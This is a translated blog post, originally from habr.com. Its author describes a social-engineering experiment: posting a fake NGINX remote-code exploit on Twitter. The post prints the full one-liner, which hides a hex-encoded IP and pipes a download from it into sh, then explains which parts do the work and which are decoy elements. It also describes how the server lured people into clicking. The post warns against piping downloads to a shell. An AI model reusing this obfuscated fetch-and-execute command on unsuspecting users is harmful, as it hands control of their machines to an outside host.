Der Erfolg eines sozialen Experiments mit einem gefälschten Exploit für Nginx

Notiz. übersetzen: Autor In der Originalnotiz, die am 1. Juni veröffentlicht wurde, wurde beschlossen, ein Experiment unter Personen durchzuführen, die sich für Informationssicherheit interessieren. Zu diesem Zweck bereitete er einen gefälschten Exploit für eine unbekannte Schwachstelle im Webserver vor und veröffentlichte ihn auf seinem Twitter. Seine Annahmen, sofort von Spezialisten entlarvt zu werden, die die offensichtliche Täuschung im Code erkennen würden, haben sich nicht nur nicht bewahrheitet ... Sie haben alle Erwartungen übertroffen, und das im Gegenteil: Der Tweet erhielt große Unterstützung von zahlreichen Menschen, die dies nicht taten Überprüfen Sie den Inhalt.

TL;DR: Verwenden Sie unter keinen Umständen Datei-Pipelining in sh oder bash. Dies ist eine großartige Möglichkeit, die Kontrolle über Ihren Computer zu verlieren.

Ich möchte Ihnen eine kurze Geschichte über einen komischen PoC-Exploit erzählen, der am 31. Mai erstellt wurde. Er erschien umgehend als Reaktion auf Nachrichten von Alisa Esage Schewtschenko, Mitglied Zero-Day-Initiative (ZDI), dass Informationen über eine Schwachstelle in NGINX, die zu RCE (Remote Code Execution) führt, bald veröffentlicht werden. Da NGINX viele Websites antreibt, müssen die Neuigkeiten eine Bombe eingeschlagen haben. Aber aufgrund von Verzögerungen im „Responsible Disclosure“-Prozess waren die Einzelheiten des Vorfalls nicht bekannt – das ist das Standardverfahren des ZDI.

Tweet über die Offenlegung von Sicherheitslücken in NGINX

Nachdem ich mit der Arbeit an einer neuen Verschleierungstechnik in Curl fertig war, zitierte ich den ursprünglichen Tweet und ließ „einen funktionierenden PoC durchsickern“, der aus einer einzigen Codezeile bestand, die angeblich die entdeckte Schwachstelle ausnutzt. Das war natürlich völliger Unsinn. Ich ging davon aus, dass ich sofort entlarvt würde und bestenfalls ein paar Retweets bekommen würde (na ja).

Tweet mit gefälschtem Exploit

Allerdings konnte ich mir nicht vorstellen, was als nächstes geschah. Die Popularität meines Tweets stieg sprunghaft an. Überraschenderweise haben derzeit (15:00 Uhr Moskauer Zeit, 1. Juni) nur wenige Menschen erkannt, dass es sich um eine Fälschung handelt. Viele Leute retweeten es, ohne es überhaupt zu überprüfen (ganz zu schweigen davon, die schönen ASCII-Grafiken zu bewundern, die es ausgibt).

Schauen Sie einfach, wie schön es ist!

Obwohl all diese Schleifen und Farben großartig sind, ist klar, dass die Leute Code auf ihrem Computer ausführen mussten, um sie zu sehen. Glücklicherweise funktionieren Browser auf die gleiche Weise, und zusammen mit der Tatsache, dass ich nicht wirklich in rechtliche Schwierigkeiten geraten wollte, führte der in meiner Website verborgene Code lediglich Echo-Aufrufe aus, ohne zu versuchen, zusätzlichen Code zu installieren oder auszuführen.

Ein kleiner Exkurs: netspooky, DNZ, ich und die anderen Jungs aus dem Team Schlägermenge Wir experimentieren schon seit einiger Zeit mit verschiedenen Möglichkeiten, Curl-Befehle zu verschleiern, weil es cool ist ... und wir Geeks sind. netspooky und dnz haben mehrere neue Methoden entdeckt, die mir äußerst vielversprechend erschienen. Ich habe den Spaß mitgemacht und versucht, IP-Dezimalkonvertierungen in die Trickkiste aufzunehmen. Es stellt sich heraus, dass IP auch in das Hexadezimalformat konvertiert werden kann. Darüber hinaus fressen Curl und die meisten anderen NIX-Tools gerne hexadezimale IPs! Es ging also lediglich darum, eine überzeugende und sicher aussehende Kommandozeile zu erstellen. Letztendlich habe ich mich für Folgendes entschieden:

curl -gsS https://127.0.0.1-OR-VICTIM-SERVER:443/../../../%00/nginx-handler?/usr/lib/nginx/modules/ngx_stream_module.so:127.0.0.1:80:/bin/sh%00<'protocol:TCP' -O 0x0238f06a#PLToffset |sh; nc /dev/tcp/localhost

Socio-Electronic Engineering (SEE) – mehr als nur Phishing

Sicherheit und Vertrautheit waren ein wichtiger Teil dieses Experiments. Ich denke, sie haben zu seinem Erfolg geführt. Die Befehlszeile implizierte eindeutig Sicherheit, indem sie auf „127.0.0.1“ (den bekannten Localhost) verwies. Localhost gilt als sicher und die darauf befindlichen Daten verlassen niemals Ihren Computer.

Vertrautheit war die zweite wichtige SEE-Komponente des Experiments. Da die Zielgruppe in erster Linie aus Personen bestand, die mit den Grundlagen der Computersicherheit vertraut waren, war es wichtig, den Code so zu erstellen, dass Teile davon vertraut und vertraut (und damit sicher) wirkten. Es hat sich als sehr erfolgreich erwiesen, Elemente alter Exploit-Konzepte zu übernehmen und auf ungewöhnliche Weise zu kombinieren.

Nachfolgend finden Sie eine detaillierte Analyse des Einzeilers. Alles auf dieser Liste trägt kosmetischer Naturund für den eigentlichen Betrieb ist praktisch nichts erforderlich.

Welche Komponenten sind wirklich notwendig? Das -gsS, -O 0x0238f06a, |sh und der Webserver selbst. Der Webserver enthielt keine schädlichen Anweisungen, sondern lieferte lediglich ASCII-Grafiken mithilfe von Befehlen echo im Skript enthalten in index.html. Wenn der Benutzer eine Zeile mit eingegeben hat |sh in der Mitte, index.html geladen und ausgeführt. Glücklicherweise hatten die Verwalter des Webservers keine bösen Absichten.

• ../../../%00 – bedeutet, über das Verzeichnis hinauszugehen;
• ngx_stream_module.so – Pfad zu einem zufälligen NGINX-Modul;
• /bin/sh%00<'protocol:TCP' - Wir starten angeblich /bin/sh auf dem Zielcomputer und leiten Sie die Ausgabe an den TCP-Kanal um;
• -O 0x0238f06a#PLToffset - Geheimzutat, ergänzt #PLToffset, um wie ein Speicherversatz auszusehen, der irgendwie im PLT enthalten ist;
• |sh; - ein weiteres wichtiges Fragment. Wir mussten die Ausgabe an sh/bash umleiten, um den Code auszuführen, der vom angreifenden Webserver kam, der sich unter befindet 0x0238f06a (2.56.240.x);
• nc /dev/tcp/localhost - ein Dummy, auf den Netcat verweist /dev/tcp/localhostdamit alles wieder sicher aussieht. Tatsächlich bewirkt es nichts und ist in der Schönheitslinie enthalten.

Damit sind die Entschlüsselung des einzeiligen Skripts und die Diskussion von Aspekten des „sozioelektronischen Engineerings“ (kompliziertes Phishing) abgeschlossen.

Webserverkonfiguration und Gegenmaßnahmen

Da die überwiegende Mehrheit meiner Abonnenten Infosec/Hacker sind, habe ich beschlossen, den Webserver etwas resistenter gegen „Interessenbekundungen“ ihrerseits zu machen, nur damit die Jungs etwas zu tun haben (und es würde Spaß machen). aufstellen). Ich werde hier nicht alle Fallstricke auflisten, da das Experiment noch läuft, aber hier sind ein paar Dinge, die der Server tut:

• Überwacht aktiv Verbreitungsversuche in bestimmten sozialen Netzwerken und ersetzt verschiedene Vorschau-Miniaturansichten, um den Benutzer zum Klicken auf den Link zu ermutigen.
• Leitet Chrome/Mozilla/Safari/usw. zum Thugcrowd-Werbevideo weiter, anstatt das Shell-Skript anzuzeigen.
• Achten Sie auf offensichtliche Anzeichen eines Eindringens/eklatanten Hackings und beginnen Sie dann, Anfragen an NSA-Server umzuleiten (ha!).
• Installiert einen Trojaner sowie ein BIOS-Rootkit auf allen Computern, deren Benutzer den Host über einen normalen Browser besuchen (nur ein Scherz!).

Ein kleiner Teil der Antimere

In diesem Fall bestand mein einziges Ziel darin, einige der Funktionen von Apache zu beherrschen – insbesondere die coolen Regeln zum Umleiten von Anfragen – und ich dachte: Warum nicht?

NGINX-Exploit (echt!)

Abonnieren Sie @alisaesage auf Twitter und verfolgen Sie die großartige Arbeit von ZDI bei der Behebung sehr realer Schwachstellen und Ausnutzungsmöglichkeiten in NGINX. Ihre Arbeit hat mich schon immer fasziniert und ich bin Alice dankbar für ihre Geduld mit all den Erwähnungen und Benachrichtigungen, die mein dämlicher Tweet verursacht hat. Glücklicherweise hat es auch etwas Gutes bewirkt: Es hat dazu beigetragen, das Bewusstsein für NGINX-Schwachstellen sowie für Probleme zu schärfen, die durch den Missbrauch von Curl verursacht werden.

Source: habr.com